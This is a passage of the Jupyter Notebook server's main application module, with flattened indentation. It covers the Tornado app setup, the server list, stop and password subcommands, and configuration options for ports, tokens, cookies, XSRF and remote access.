from notebook.transutils import trans, _
# Install the pyzmq ioloop. This has to be done before anything else from
# tornado is imported.
from zmq.eventloop import ioloop
ioloop.install()
# check for tornado 3.1.0
try:
import tornado
except ImportError:
raise ImportError(_("The Jupyter Notebook requires tornado >= 4.0"))
try:
version_info = tornado.version_info
except AttributeError:
raise ImportError(_("The Jupyter Notebook requires tornado >= 4.0, but you have < 1.1.0"))
if version_info < (4,0):
raise ImportError(_("The Jupyter Notebook requires tornado >= 4.0, but you have %s") % tornado.version)
from tornado import httpserver
from tornado import web
from tornado.httputil import url_concat
from tornado.log import LogFormatter, app_log, access_log, gen_log
from notebook import (
DEFAULT_STATIC_FILES_PATH,
DEFAULT_TEMPLATE_PATH_LIST,
__version__,
)
# py23 compatibility
try:
raw_input = raw_input
except NameError:
raw_input = input
from .base.handlers import Template404, RedirectWithParams
from .log import log_request
from .services.kernels.kernelmanager import MappingKernelManager
from .services.config import ConfigManager
from .services.contents.manager import ContentsManager
from .services.contents.filemanager import FileContentsManager
from .services.contents.largefilemanager import LargeFileManager
from .services.sessions.sessionmanager import SessionManager
from .auth.login import LoginHandler
from .auth.logout import LogoutHandler
from .base.handlers import FileFindHandler
from traitlets.config import Config
from traitlets.config.application import catch_config_error, boolean_flag
from jupyter_core.application import (
JupyterApp, base_flags, base_aliases,
)
from jupyter_core.paths import jupyter_config_path
from jupyter_client import KernelManager
from jupyter_client.kernelspec import KernelSpecManager, NoSuchKernel, NATIVE_KERNEL_NAME
from jupyter_client.session import Session
from nbformat.sign import NotebookNotary
from traitlets import (
Any, Dict, Unicode, Integer, List, Bool, Bytes, Instance,
TraitError, Type, Float, observe, default, validate
)
from ipython_genutils import py3compat
from jupyter_core.paths import jupyter_runtime_dir, jupyter_path
from notebook._sysinfo import get_sys_info
from ._tz import utcnow, utcfromtimestamp
from .utils import url_path_join, check_pid, url_escape
#-----------------------------------------------------------------------------
# Module globals
#-----------------------------------------------------------------------------
_examples = """
jupyter notebook # start the notebook
jupyter notebook --certfile=mycert.pem # use SSL/TLS certificate
jupyter notebook password # enter a password to protect the server
"""
#-----------------------------------------------------------------------------
# Helper functions
#-----------------------------------------------------------------------------
def random_ports(port, n):
"""Generate a list of n random ports near the given port.
The first 5 ports will be sequential, and the remaining n-5 will be
randomly selected in the range [port-2*n, port+2*n].
"""
for i in range(min(5, n)):
yield port + i
for i in range(n-5):
yield max(1, port + random.randint(-2*n, 2*n))
def load_handlers(name):
"""Load the (URL pattern, handler) tuples for each component."""
mod = __import__(name, fromlist=['default_handlers'])
return mod.default_handlers
#-----------------------------------------------------------------------------
# The Tornado web application
#-----------------------------------------------------------------------------
class NotebookWebApplication(web.Application):
def __init__(self, jupyter_app, kernel_manager, contents_manager,
session_manager, kernel_spec_manager,
config_manager, extra_services, log,
base_url, default_url, settings_overrides, jinja_env_options):
settings = self.init_settings(
jupyter_app, kernel_manager, contents_manager,
session_manager, kernel_spec_manager, config_manager,
extra_services, log, base_url,
default_url, settings_overrides, jinja_env_options)
handlers = self.init_handlers(settings)
super(NotebookWebApplication, self).__init__(handlers, **settings)
def init_settings(self, jupyter_app, kernel_manager, contents_manager,
session_manager, kernel_spec_manager,
config_manager, extra_services,
log, base_url, default_url, settings_overrides,
jinja_env_options=None):
_template_path = settings_overrides.get(
"template_path",
jupyter_app.template_file_path,
)
if isinstance(_template_path, py3compat.string_types):
_template_path = (_template_path,)
template_path = [os.path.expanduser(path) for path in _template_path]
jenv_opt = {"autoescape": True}
jenv_opt.update(jinja_env_options if jinja_env_options else {})
env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.i18n'], **jenv_opt)
sys_info = get_sys_info()
# If the user is running the notebook in a git directory, make the assumption
# that this is a dev install and suggest to the developer `npm run build:watch`.
base_dir = os.path.realpath(os.path.join(__file__, '..', '..'))
dev_mode = os.path.exists(os.path.join(base_dir, '.git'))
nbui = gettext.translation('nbui', localedir=os.path.join(base_dir, 'notebook/i18n'), fallback=True)
env.install_gettext_translations(nbui, newstyle=False)
if dev_mode:
DEV_NOTE_NPM = """It looks like you're running the notebook from source.
If you're working on the Javascript of the notebook, try running
%s
in another terminal window to have the system incrementally
watch and build the notebook's JavaScript for you, as you make changes.""" % 'npm run build:watch'
log.info(DEV_NOTE_NPM)
if sys_info['commit_source'] == 'repository':
# don't cache (rely on 304) when working from master
version_hash = ''
else:
# reset the cache on server restart
version_hash = datetime.datetime.now().strftime("%Y%m%d%H%M%S")
if jupyter_app.ignore_minified_js:
log.warning(_("""The `ignore_minified_js` flag is deprecated and no longer works."""))
log.warning(_("""Alternatively use `%s` when working on the notebook's Javascript and LESS""") % 'npm run build:watch')
warnings.warn(_("The `ignore_minified_js` flag is deprecated and will be removed in Notebook 6.0"), DeprecationWarning)
now = utcnow()
root_dir = contents_manager.root_dir
home = os.path.expanduser('~')
if root_dir.startswith(home + os.path.sep):
# collapse $HOME to ~
root_dir = '~' + root_dir[len(home):]
settings = dict(
# basics
log_function=log_request,
base_url=base_url,
default_url=default_url,
template_path=template_path,
static_path=jupyter_app.static_file_path,
static_custom_path=jupyter_app.static_custom_path,
static_handler_class = FileFindHandler,
static_url_prefix = url_path_join(base_url,'/static/'),
static_handler_args = {
# don't cache custom.js
'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
},
version_hash=version_hash,
ignore_minified_js=jupyter_app.ignore_minified_js,
# rate limits
iopub_msg_rate_limit=jupyter_app.iopub_msg_rate_limit,
iopub_data_rate_limit=jupyter_app.iopub_data_rate_limit,
rate_limit_window=jupyter_app.rate_limit_window,
# maximum request sizes - support saving larger notebooks
# tornado defaults are 100 MiB, we increase it to 0.5 GiB
max_body_size = 512 * 1024 * 1024,
max_buffer_size = 512 * 1024 * 1024,
# authentication
cookie_secret=jupyter_app.cookie_secret,
login_url=url_path_join(base_url,'/login'),
login_handler_class=jupyter_app.login_handler_class,
logout_handler_class=jupyter_app.logout_handler_class,
password=jupyter_app.password,
xsrf_cookies=True,
disable_check_xsrf=jupyter_app.disable_check_xsrf,
allow_remote_access=jupyter_app.allow_remote_access,
local_hostnames=jupyter_app.local_hostnames,
# managers
kernel_manager=kernel_manager,
contents_manager=contents_manager,
session_manager=session_manager,
kernel_spec_manager=kernel_spec_manager,
config_manager=config_manager,
# handlers
extra_services=extra_services,
# Jupyter stuff
started=now,
# place for extensions to register activity
# so that they can prevent idle-shutdown
last_activity_times={},
jinja_template_vars=jupyter_app.jinja_template_vars,
nbextensions_path=jupyter_app.nbextensions_path,
websocket_url=jupyter_app.websocket_url,
mathjax_url=jupyter_app.mathjax_url,
mathjax_config=jupyter_app.mathjax_config,
shutdown_button=jupyter_app.quit_button,
config=jupyter_app.config,
config_dir=jupyter_app.config_dir,
allow_password_change=jupyter_app.allow_password_change,
server_root_dir=root_dir,
jinja2_env=env,
terminals_available=False, # Set later if terminals are available
)
# allow custom overrides for the tornado web app.
settings.update(settings_overrides)
return settings
def init_handlers(self, settings):
"""Load the (URL pattern, handler) tuples for each component."""
# Order matters. The first handler to match the URL will handle the request.
handlers = []
# load extra services specified by users before default handlers
for service in settings['extra_services']:
handlers.extend(load_handlers(service))
handlers.extend(load_handlers('notebook.tree.handlers'))
handlers.extend([(r"/login", settings['login_handler_class'])])
handlers.extend([(r"/logout", settings['logout_handler_class'])])
handlers.extend(load_handlers('notebook.files.handlers'))
handlers.extend(load_handlers('notebook.view.handlers'))
handlers.extend(load_handlers('notebook.notebook.handlers'))
handlers.extend(load_handlers('notebook.nbconvert.handlers'))
handlers.extend(load_handlers('notebook.bundler.handlers'))
handlers.extend(load_handlers('notebook.kernelspecs.handlers'))
handlers.extend(load_handlers('notebook.edit.handlers'))
handlers.extend(load_handlers('notebook.services.api.handlers'))
handlers.extend(load_handlers('notebook.services.config.handlers'))
handlers.extend(load_handlers('notebook.services.kernels.handlers'))
handlers.extend(load_handlers('notebook.services.contents.handlers'))
handlers.extend(load_handlers('notebook.services.sessions.handlers'))
handlers.extend(load_handlers('notebook.services.nbconvert.handlers'))
handlers.extend(load_handlers('notebook.services.kernelspecs.handlers'))
handlers.extend(load_handlers('notebook.services.security.handlers'))
handlers.extend(load_handlers('notebook.services.shutdown'))
handlers.extend(settings['contents_manager'].get_extra_handlers())
handlers.append(
(r"/nbextensions/(.*)", FileFindHandler, {
'path': settings['nbextensions_path'],
'no_cache_paths': ['/'], # don't cache anything in nbextensions
}),
)
handlers.append(
(r"/custom/(.*)", FileFindHandler, {
'path': settings['static_custom_path'],
'no_cache_paths': ['/'], # don't cache anything in custom
})
)
# register base handlers last
handlers.extend(load_handlers('notebook.base.handlers'))
# set the URL that will be redirected from `/`
handlers.append(
(r'/?', RedirectWithParams, {
'url' : settings['default_url'],
'permanent': False, # want 302, not 301
})
)
# prepend base_url onto the patterns that we match
new_handlers = []
for handler in handlers:
pattern = url_path_join(settings['base_url'], handler[0])
new_handler = tuple([pattern] + list(handler[1:]))
new_handlers.append(new_handler)
# add 404 on the end, which will catch everything that falls through
new_handlers.append((r'(.*)', Template404))
return new_handlers
def last_activity(self):
"""Get a UTC timestamp for when the server last did something.
Includes: API activity, kernel activity, kernel shutdown, and terminal
activity.
"""
sources = [
self.settings['started'],
self.settings['kernel_manager'].last_kernel_activity,
]
try:
sources.append(self.settings['api_last_activity'])
except KeyError:
pass
try:
sources.append(self.settings['terminal_last_activity'])
except KeyError:
pass
sources.extend(self.settings['last_activity_times'].values())
return max(sources)
class NotebookPasswordApp(JupyterApp):
"""Set a password for the notebook server.
Setting a password secures the notebook server
and removes the need for token-based authentication.
"""
description = __doc__
def _config_file_default(self):
return os.path.join(self.config_dir, 'jupyter_notebook_config.json')
def start(self):
from .auth.security import set_password
set_password(config_file=self.config_file)
self.log.info("Wrote hashed password to %s" % self.config_file)
def shutdown_server(server_info, timeout=5, log=None):
"""Shutdown a notebook server in a separate process.
*server_info* should be a dictionary as produced by list_running_servers().
Will first try to request shutdown using /api/shutdown .
On Unix, if the server is still running after *timeout* seconds, it will
send SIGTERM. After another timeout, it escalates to SIGKILL.
Returns True if the server was stopped by any means, False if stopping it
failed (on Windows).
"""
from tornado.httpclient import HTTPClient, HTTPRequest
url = server_info['url']
pid = server_info['pid']
req = HTTPRequest(url + 'api/shutdown', method='POST', body=b'', headers={
'Authorization': 'token ' + server_info['token']
})
if log: log.debug("POST request to %sapi/shutdown", url)
HTTPClient().fetch(req)
# Poll to see if it shut down.
for _ in range(timeout*10):
if check_pid(pid):
if log: log.debug("Server PID %s is gone", pid)
return True
time.sleep(0.1)
if sys.platform.startswith('win'):
return False
if log: log.debug("SIGTERM to PID %s", pid)
os.kill(pid, signal.SIGTERM)
# Poll to see if it shut down.
for _ in range(timeout * 10):
if check_pid(pid):
if log: log.debug("Server PID %s is gone", pid)
return True
time.sleep(0.1)
if log: log.debug("SIGKILL to PID %s", pid)
os.kill(pid, signal.SIGKILL)
return True # SIGKILL cannot be caught
class NbserverStopApp(JupyterApp):
version = __version__
description="Stop currently running notebook server for a given port"
port = Integer(8888, config=True,
help="Port of the server to be killed. Default 8888")
def parse_command_line(self, argv=None):
super(NbserverStopApp, self).parse_command_line(argv)
if self.extra_args:
self.port=int(self.extra_args[0])
def shutdown_server(self, server):
return shutdown_server(server, log=self.log)
def start(self):
servers = list(list_running_servers(self.runtime_dir))
if not servers:
self.exit("There are no running servers")
for server in servers:
if server['port'] == self.port:
print("Shutting down server on port", self.port, "...")
if not self.shutdown_server(server):
sys.exit("Could not stop server")
return
else:
print("There is currently no server running on port {}".format(self.port), file=sys.stderr)
print("Ports currently in use:", file=sys.stderr)
for server in servers:
print(" - {}".format(server['port']), file=sys.stderr)
self.exit(1)
class NbserverListApp(JupyterApp):
version = __version__
description=_("List currently running notebook servers.")
flags = dict(
jsonlist=({'NbserverListApp': {'jsonlist': True}},
_("Produce machine-readable JSON list output.")),
json=({'NbserverListApp': {'json': True}},
_("Produce machine-readable JSON object on each line of output.")),
)
jsonlist = Bool(False, config=True,
help=_("If True, the output will be a JSON list of objects, one per "
"active notebook server, each with the details from the "
"relevant server info file."))
json = Bool(False, config=True,
help=_("If True, each line of output will be a JSON object with the "
"details from the server info file. For a JSON list output, "
"see the NbserverListApp.jsonlist configuration value"))
def start(self):
serverinfo_list = list(list_running_servers(self.runtime_dir))
if self.jsonlist:
print(json.dumps(serverinfo_list, indent=2))
elif self.json:
for serverinfo in serverinfo_list:
print(json.dumps(serverinfo))
else:
print("Currently running servers:")
for serverinfo in serverinfo_list:
url = serverinfo['url']
if serverinfo.get('token'):
url = url + '?token=%s' % serverinfo['token']
print(url, "::", serverinfo['notebook_dir'])
#-----------------------------------------------------------------------------
# Aliases and Flags
#-----------------------------------------------------------------------------
flags = dict(base_flags)
flags['no-browser']=(
{'NotebookApp' : {'open_browser' : False}},
_("Don't open the notebook in a browser after startup.")
)
flags['pylab']=(
{'NotebookApp' : {'pylab' : 'warn'}},
_("DISABLED: use %pylab or %matplotlib in the notebook to enable matplotlib.")
)
flags['no-mathjax']=(
{'NotebookApp' : {'enable_mathjax' : False}},
"""Disable MathJax
MathJax is the javascript library Jupyter uses to render math/LaTeX. It is
very large, so you may want to disable it if you have a slow internet
connection, or for offline use of the notebook.
When disabled, equations etc. will appear as their untransformed TeX source.
"""
)
flags['allow-root']=(
{'NotebookApp' : {'allow_root' : True}},
_("Allow the notebook to be run from root user.")
)
# Add notebook manager flags
flags.update(boolean_flag('script', 'FileContentsManager.save_script',
'DEPRECATED, IGNORED',
'DEPRECATED, IGNORED'))
aliases = dict(base_aliases)
aliases.update({
'ip': 'NotebookApp.ip',
'port': 'NotebookApp.port',
'port-retries': 'NotebookApp.port_retries',
'transport': 'KernelManager.transport',
'keyfile': 'NotebookApp.keyfile',
'certfile': 'NotebookApp.certfile',
'client-ca': 'NotebookApp.client_ca',
'notebook-dir': 'NotebookApp.notebook_dir',
'browser': 'NotebookApp.browser',
'pylab': 'NotebookApp.pylab',
})
#-----------------------------------------------------------------------------
# NotebookApp
#-----------------------------------------------------------------------------
class NotebookApp(JupyterApp):
name = 'jupyter-notebook'
version = __version__
description = _("""The Jupyter HTML Notebook.
This launches a Tornado based HTML Notebook Server that serves up an HTML5/Javascript Notebook client.""")
examples = _examples
aliases = aliases
flags = flags
classes = [
KernelManager, Session, MappingKernelManager,
ContentsManager, FileContentsManager, NotebookNotary,
KernelSpecManager,
]
flags = Dict(flags)
aliases = Dict(aliases)
subcommands = dict(
list=(NbserverListApp, NbserverListApp.description.splitlines()[0]),
stop=(NbserverStopApp, NbserverStopApp.description.splitlines()[0]),
password=(NotebookPasswordApp, NotebookPasswordApp.description.splitlines()[0]),
)
_log_formatter_cls = LogFormatter
@default('log_level')
def _default_log_level(self):
return logging.INFO
@default('log_datefmt')
def _default_log_datefmt(self):
"""Exclude date from default date format"""
return "%H:%M:%S"
@default('log_format')
def _default_log_format(self):
"""override default log format to include time"""
return u"%(color)s[%(levelname)1.1s %(asctime)s.%(msecs).03d %(name)s]%(end_color)s %(message)s"
ignore_minified_js = Bool(False,
config=True,
help=_('Deprecated: Use minified JS file or not, mainly use during dev to avoid JS recompilation'),
)
# file to be opened in the notebook server
file_to_run = Unicode('', config=True)
# Network related information
allow_origin = Unicode('', config=True,
help="""Set the Access-Control-Allow-Origin header
Use '*' to allow any origin to access your server.
Takes precedence over allow_origin_pat.
"""
)
allow_origin_pat = Unicode('', config=True,
help="""Use a regular expression for the Access-Control-Allow-Origin header
Requests from an origin matching the expression will get replies with:
Access-Control-Allow-Origin: origin
where `origin` is the origin of the request.
Ignored if allow_origin is set.
"""
)
allow_credentials = Bool(False, config=True,
help=_("Set the Access-Control-Allow-Credentials: true header")
)
allow_root = Bool(False, config=True,
help=_("Whether to allow the user to run the notebook as root.")
)
default_url = Unicode('/tree', config=True,
help=_("The default URL to redirect to from `/`")
)
ip = Unicode('localhost', config=True,
help=_("The IP address the notebook server will listen on.")
)
@default('ip')
def _default_ip(self):
"""Return localhost if available, 127.0.0.1 otherwise.
On some (horribly broken) systems, localhost cannot be bound.
"""
s = socket.socket()
try:
s.bind(('localhost', 0))
except socket.error as e:
self.log.warning(_("Cannot bind to localhost, using 127.0.0.1 as default ip\n%s"), e)
return '127.0.0.1'
else:
s.close()
return 'localhost'
@validate('ip')
def _valdate_ip(self, proposal):
value = proposal['value']
if value == u'*':
value = u''
return value
custom_display_url = Unicode(u'', config=True,
help=_("""Override URL shown to users.
Replace actual URL, including protocol, address, port and base URL,
with the given value when displaying URL to the users. Do not change
the actual connection URL. If authentication token is enabled, the
token is added to the custom URL automatically.
This option is intended to be used when the URL to display to the user
cannot be determined reliably by the Jupyter notebook server (proxified
or containerized setups for example).""")
)
port = Integer(8888, config=True,
help=_("The port the notebook server will listen on.")
)
port_retries = Integer(50, config=True,
help=_("The number of additional ports to try if the specified port is not available.")
)
certfile = Unicode(u'', config=True,
help=_("""The full path to an SSL/TLS certificate file.""")
)
keyfile = Unicode(u'', config=True,
help=_("""The full path to a private key file for usage with SSL/TLS.""")
)
client_ca = Unicode(u'', config=True,
help=_("""The full path to a certificate authority certificate for SSL/TLS client authentication.""")
)
cookie_secret_file = Unicode(config=True,
help=_("""The file where the cookie secret is stored.""")
)
@default('cookie_secret_file')
def _default_cookie_secret_file(self):
return os.path.join(self.runtime_dir, 'notebook_cookie_secret')
cookie_secret = Bytes(b'', config=True,
help="""The random bytes used to secure cookies.
By default this is a new random number every time you start the Notebook.
Set it to a value in a config file to enable logins to persist across server sessions.
Note: Cookie secrets should be kept private, do not share config files with
cookie_secret stored in plaintext (you can read the value from a file).
"""
)
@default('cookie_secret')
def _default_cookie_secret(self):
if os.path.exists(self.cookie_secret_file):
with io.open(self.cookie_secret_file, 'rb') as f:
key = f.read()
else:
key = encodebytes(os.urandom(32))
self._write_cookie_secret_file(key)
h = hmac.new(key, digestmod=hashlib.sha256)
h.update(self.password.encode())
return h.digest()
def _write_cookie_secret_file(self, secret):
"""write my secret to my secret_file"""
self.log.info(_("Writing notebook server cookie secret to %s"), self.cookie_secret_file)
try:
with io.open(self.cookie_secret_file, 'wb') as f:
f.write(secret)
except OSError as e:
self.log.error(_("Failed to write cookie secret to %s: %s"),
self.cookie_secret_file, e)
try:
os.chmod(self.cookie_secret_file, 0o600)
except OSError:
self.log.warning(
_("Could not set permissions on %s"),
self.cookie_secret_file
)
token = Unicode('<generated>',
help=_("""Token used for authenticating first-time connections to the server.
When no password is enabled,
the default is to generate a new, random token.
Setting to an empty string disables authentication altogether, which is NOT RECOMMENDED.
""")
).tag(config=True)
one_time_token = Unicode(
help=_("""One-time token used for opening a browser.
Once used, this token cannot be used again.
""")
)
_token_generated = True
@default('token')
def _token_default(self):
if os.getenv('JUPYTER_TOKEN'):
self._token_generated = False
return os.getenv('JUPYTER_TOKEN')
if self.password:
# no token if password is enabled
self._token_generated = False
return u''
else:
self._token_generated = True
return binascii.hexlify(os.urandom(24)).decode('ascii')
@observe('token')
def _token_changed(self, change):
self._token_generated = False
password = Unicode(u'', config=True,
help="""Hashed password to use for web authentication.
To generate, type in a python/IPython shell:
from notebook.auth import passwd; passwd()
The string should be of the form type:salt:hashed-password.
"""
)
password_required = Bool(False, config=True,
help="""Forces users to use a password for the Notebook server.
This is useful in a multi user environment, for instance when
everybody in the LAN can access each other's machine through ssh.
In such a case, server the notebook server on localhost is not secure
since any user can connect to the notebook server via ssh.
"""
)
allow_password_change = Bool(True, config=True,
help="""Allow password to be changed at login for the notebook server.
While loggin in with a token, the notebook server UI will give the opportunity to
the user to enter a new password at the same time that will replace
the token login mechanism.
This can be set to false to prevent changing password from the UI/API.
"""
)
disable_check_xsrf = Bool(False, config=True,
help="""Disable cross-site-request-forgery protection
Jupyter notebook 4.3.1 introduces protection from cross-site request forgeries,
requiring API requests to either:
- originate from pages served by this server (validated with XSRF cookie and token), or
- authenticate with a token
Some anonymous compute resources still desire the ability to run code,
completely without authentication.
These services can disable all authentication and security checks,
with the full knowledge of what that implies.
"""
)
allow_remote_access = Bool(config=True,
help="""Allow requests where the Host header doesn't point to a local server
By default, requests get a 403 forbidden response if the 'Host' header
shows that the browser thinks it's on a non-local domain.
Setting this option to True disables this check.
This protects against 'DNS rebinding' attacks, where a remote web server
serves you a page and then changes its DNS to send later requests to a
local IP, bypassing same-origin checks.
Local IP addresses (such as 127.0.0.1 and ::1) are allowed as local,
along with hostnames configured in local_hostnames.
""")
@default('allow_remote_access')
def _default_allow_remote(self):
"""Disallow remote access if we're listening only on loopback addresses"""
# Disable the check temporarily because of Mac issues:
# https://github.com/jupyter/notebook/issues/3754
return True
try:
addr = ipaddress.ip_address(self.ip)
except ValueError:
# Address is a hostname
for info in socket.getaddrinfo(self.ip, self.port, 0, socket.SOCK_STREAM):
addr = info[4][0]
if not py3compat.PY3:
addr = addr.decode('ascii')
if not ipaddress.ip_address(addr).is_loopback:
return True
return False
else:
return not addr.is_loopback
local_hostnames = List(Unicode(), ['localhost'], config=True,
help="""Hostnames to allow as local when allow_remote_access is False.
Local IP addresses (such as 127.0.0.1 and ::1) are automatically accepted
as local as well.
"""
)
open_browser = Bool(True, config=True,
help="""Whether to open in a browser after starting.
The specific browser used is platform dependent and
determined by the python standard library `webbrowser`
module, unless it is overridden using the --browser
(NotebookApp.browser) configuration option.
""")
browser = Unicode(u'', config=True,
help="""Specify what command to use to invoke a web
browser when opening the notebook. If not specified, the
default browser will be determined by the `webbrowser`
standard library module, which allows setting of the
BROWSER environment variable to override it.
""")
webbrowser_open_new = Integer(2, config=True,
help=_("""Specify Where to open the notebook on startup. This is the
`new` argument passed to the standard library method `webbrowser.open`.
The behaviour is not guaranteed, but depends on browser support. Valid
values are:
- 2 opens a new tab,
- 1 opens a new window,
- 0 opens in an existing window.
See the `webbrowser.open` documentation for details.
"""))
webapp_settings = Dict(config=True,
help=_("DEPRECATED, use tornado_settings")
)
@observe('webapp_settings')
def _update_webapp_settings(self, change):
self.log.warning(_("\n webapp_settings is deprecated, use tornado_settings.\n"))
self.tornado_settings = change['new']
tornado_settings = Dict(config=True,
help=_("Supply overrides for the tornado.web.Application that the "
"Jupyter notebook uses."))
websocket_compression_options = Any(None, config=True,
help=_("""
Set the tornado compression options for websocket connections.
This value will be returned from :meth:`WebSocketHandler.get_compression_options`.
None (default) will disable compression.
A dict (even an empty one) will enable compression.
See the tornado docs for WebSocketHandler.get_compression_options for details.
""")
)
terminado_settings = Dict(config=True,
help=_('Supply overrides for terminado. Currently only supports "shell_command".'))
cookie_options = Dict(config=True,
help=_("Extra keyword arguments to pass to `set_secure_cookie`."
" See tornado's set_secure_cookie docs for details.")
)
ssl_options = Dict(config=True,
help=_("""Supply SSL options for the tornado HTTPServer.
See the tornado docs for details."""))
jinja_environment_options = Dict(config=True,
help=_("Supply extra arguments that will be passed to Jinja environment."))
jinja_template_vars = Dict(
config=True,
help=_("Extra variables to supply to jinja templates when rendering."),
)
enable_mathjax = Bool(True, config=True,
help="""Whether to enable MathJax for typesetting math/TeX
MathJax is the javascript library Jupyter uses to render math/LaTeX. It is
very large, so you may want to disable it if you have a slow internet
connection, or for offline use of the notebook.
When disabled, equations etc. will appear as their untransformed TeX source.
"""
)
@observe('enable_mathjax')
def _update_enable_mathjax(self, change):
"""set mathjax url to empty if mathjax is disabled"""
if not change['new']:
self.mathjax_url = u''
base_url = Unicode('/', config=True,
help='''The base URL for the notebook server.
Leading and trailing slashes can be omitted,
and will automatically be added.
''')
@validate('base_url')
def _update_base_url(self, proposal):
value = proposal['value']
if not value.startswith('/'):
value = '/' + value
if not value.endswith('/'):
value = value + '/'
return value
base_project_url = Unicode('/', config=True, help=_("""DEPRECATED use base_url"""))
@observe('base_project_url')
def _update_base_project_url(self, change):
self.log.warning(_("base_project_url is deprecated, use base_url"))
self.base_url = change['new']
extra_static_paths = List(Unicode(), config=True,
help="""Extra paths to search for serving static files.
This allows adding javascript/css to be available from the notebook server machine,
or overriding individual files in the IPython"""
)
@property
def static_file_path(self):
"""return extra paths + the default location"""
return self.extra_static_paths + [DEFAULT_STATIC_FILES_PATH]
static_custom_path = List(Unicode(),
help=_("""Path to search for custom.js, css""")
)
@default('static_custom_path')
def _default_static_custom_path(self):
return [
os.path.join(d, 'custom') for d in (
self.config_dir,
DEFAULT_STATIC_FILES_PATH)
]
extra_template_paths = List(Unicode(), config=True,
help=_("""Extra paths to search for serving jinja templates.
Can be used to override templates from notebook.templates.""")
)
@property
def template_file_path(self):
"""return extra paths + the default locations"""
return self.extra_template_paths + DEFAULT_TEMPLATE_PATH_LIST
extra_nbextensions_path = List(Unicode(), config=True,
help=_("""extra paths to look for Javascript notebook extensions""")
)
extra_services = List(Unicode(), config=True,
help=_("""handlers that should be loaded at higher priority than the default services""")
)
@property
def nbextensions_path(self):
"""The path to look for Javascript notebook extensions"""
path = self.extra_nbextensions_path + jupyter_path('nbextensions')
# FIXME: remove IPython nbextensions path after a migration period
try:
from IPython.paths import get_ipython_dir
except ImportError:
pass
else:
path.append(os.path.join(get_ipython_dir(), 'nbextensions'))
return path
websocket_url = Unicode("", config=True,
help="""The base URL for websockets,
if it differs from the HTTP server (hint: it almost certainly doesn't).
Should be in the form of an HTTP origin: ws[s]://hostname[:port]
"""
)
mathjax_url = Unicode("", config=True,
help="""A custom url for MathJax.js.
Should be in the form of a case-sensitive url to MathJax,
for example: /static/components/MathJax/MathJax.js
"""
)
@default('mathjax_url')
def _default_mathjax_url(self):
if not self.enable_mathjax:
return u''
static_url_prefix = self.tornado_settings.get("static_url_prefix", "static")
return url_path_join(static_url_prefix, 'components', 'MathJax', 'MathJax.js')
@observe('mathjax_url')
def _update_mathjax_url(self, change):
new = change['new']
if new and not self.enable_mathjax:
# enable_mathjax=False overrides mathjax_url
self.mathjax_url = u''
else:
self.log.info(_("Using MathJax: %s"), new)
mathjax_config = Unicode("TeX-AMS-MML_HTMLorMML-full,Safe", config=True,
help=_("""The MathJax.js configuration file that is to be used.""")
)
@observe('mathjax_config')
def _update_mathjax_config(self, change):
self.log.info(_("Using MathJax configuration file: %s"), change['new'])
quit_button = Bool(True, config=True,
help="""If True, display a button in the dashboard to quit
(shutdown the notebook server)."""
)
contents_manager_class = Type(
default_value=LargeFileManager,
klass=ContentsManager,
config=True,
help=_('The notebook manager class to use.')
)
kernel_manager_class = Type(
default_value=MappingKernelManager,
config=True,
help=_('The kernel manager class to use.')
)
session_manager_class = Type(
default_value=SessionManager,
config=True,
help=_('The session manager class to use.')
)
config_manager_class = Type(
default_value=ConfigManager,
config = True,
help=_('The config manager class to use')
)
kernel_spec_manager = Instance(KernelSpecManager, allow_none=True)
kernel_spec_manager_class = Type(
default_value=KernelSpecManager,
config=True,
help="""
The kernel spec manager class to use. Should be a subclass
of `jupyter_client.kernelspec.KernelSpecManager`.
The Api of KernelSpecManager is provisional and might change
without warning between this version of Jupyter and the next stable one.
"""
)
login_handler_class = Type(
default_value=LoginHandler,
klass=web.RequestHandler,
config=True,
help=_('The login handler class to use.'),
)
logout_handler_class = Type(
default_value=LogoutHandler,
klass=web.RequestHandler,
config=True,
help=_('The logout handler class to use.'),
)
trust_xheaders = Bool(False, config=True,
help=(_("Whether to trust or not X-Scheme/X-Forwarded-Proto and X-Real-Ip/X-Forwarded-For headers"
"sent by the upstream reverse proxy. Necessary if the proxy handles SSL"))
)
info_file = Unicode()
@default('info_file')
def _default_info_file(self):
info_file = "nbserver-%s.json" % os.getpid()
return os.path.join(self.runtime_dir, info_file)
pylab = Unicode('disabled', config=True,
help=_("""
DISABLED: use %pylab or %matplotlib in the notebook to enable matplotlib.
""")
)
@observe('pylab')
def _update_pylab(self, change):
"""when --pylab is specified, display a warning and exit"""
if change['new'] != 'warn':
backend = ' %s' % change['new']
else:
backend = ''
self.log.error(_("Support for specifying --pylab on the command line has been removed."))
self.log.error(
_("Please use `%pylab{0}` or `%matplotlib{0}` in the notebook itself.").format(backend)
)
self.exit(1)
notebook_dir = Unicode(config=True,
help=_("The directory to use for notebooks and kernels.")
)
@default('notebook_dir')
def _default_notebook_dir(self):
if self.file_to_run:
return os.path.dirname(os.path.abspath(self.file_to_run))
else:
return py3compat.getcwd()
@validate('notebook_dir')
def _notebook_dir_validate(self, proposal):
value = proposal['value']
# Strip any trailing slashes
# *except* if it's root
_, path = os.path.splitdrive(value)
if path == os.sep:
return value
value = value.rstrip(os.sep)
if not os.path.isabs(value):
# If we receive a non-absolute path, make it absolute.
value = os.path.abspath(value)
if not os.path.isdir(value):
raise TraitError(trans.gettext("No such notebook dir: '%r'") % value)
return value
@observe('notebook_dir')
def _update_notebook_dir(self, change):
"""Do a bit of validation of the notebook dir."""
# setting App.notebook_dir implies setting notebook and kernel dirs as well
new = change['new']
self.config.FileContentsManager.root_dir = new
self.config.MappingKernelManager.root_dir = new
# TODO: Remove me in notebook 5.0
server_extensions = List(Unicode(), config=True,
help=(_("DEPRECATED use the nbserver_extensions dict instead"))
)
@observe('server_extensions')
def _update_server_extensions(self, change):
self.log.warning(_("server_extensions is deprecated, use nbserver_extensions"))
self.server_extensions = change['new']
nbserver_extensions = Dict({}, config=True,
help=(_("Dict of Python modules to load as notebook server extensions."
"Entry values can be used to enable and disable the loading of"
"the extensions. The extensions will be loaded in alphabetical "
"order."))
)
reraise_server_extension_failures = Bool(
False,
config=True,
help=_("Reraise exceptions encountered loading server extensions?"),
)
iopub_msg_rate_limit = Float(1000, config=True, help=_("""(msgs/sec)
Maximum rate at which messages can be sent on iopub before they are
limited."""))
iopub_data_rate_limit = Float(1000000, config=True, help=_("""(bytes/sec)
Maximum rate at which stream output can be sent on iopub before they are
limited."""))
rate_limit_window = Float(3, config=True, help=_("""(sec) Time window used to
check the message and data rate limits."""))
shutdown_no_activity_timeout = Integer(0, config=True,
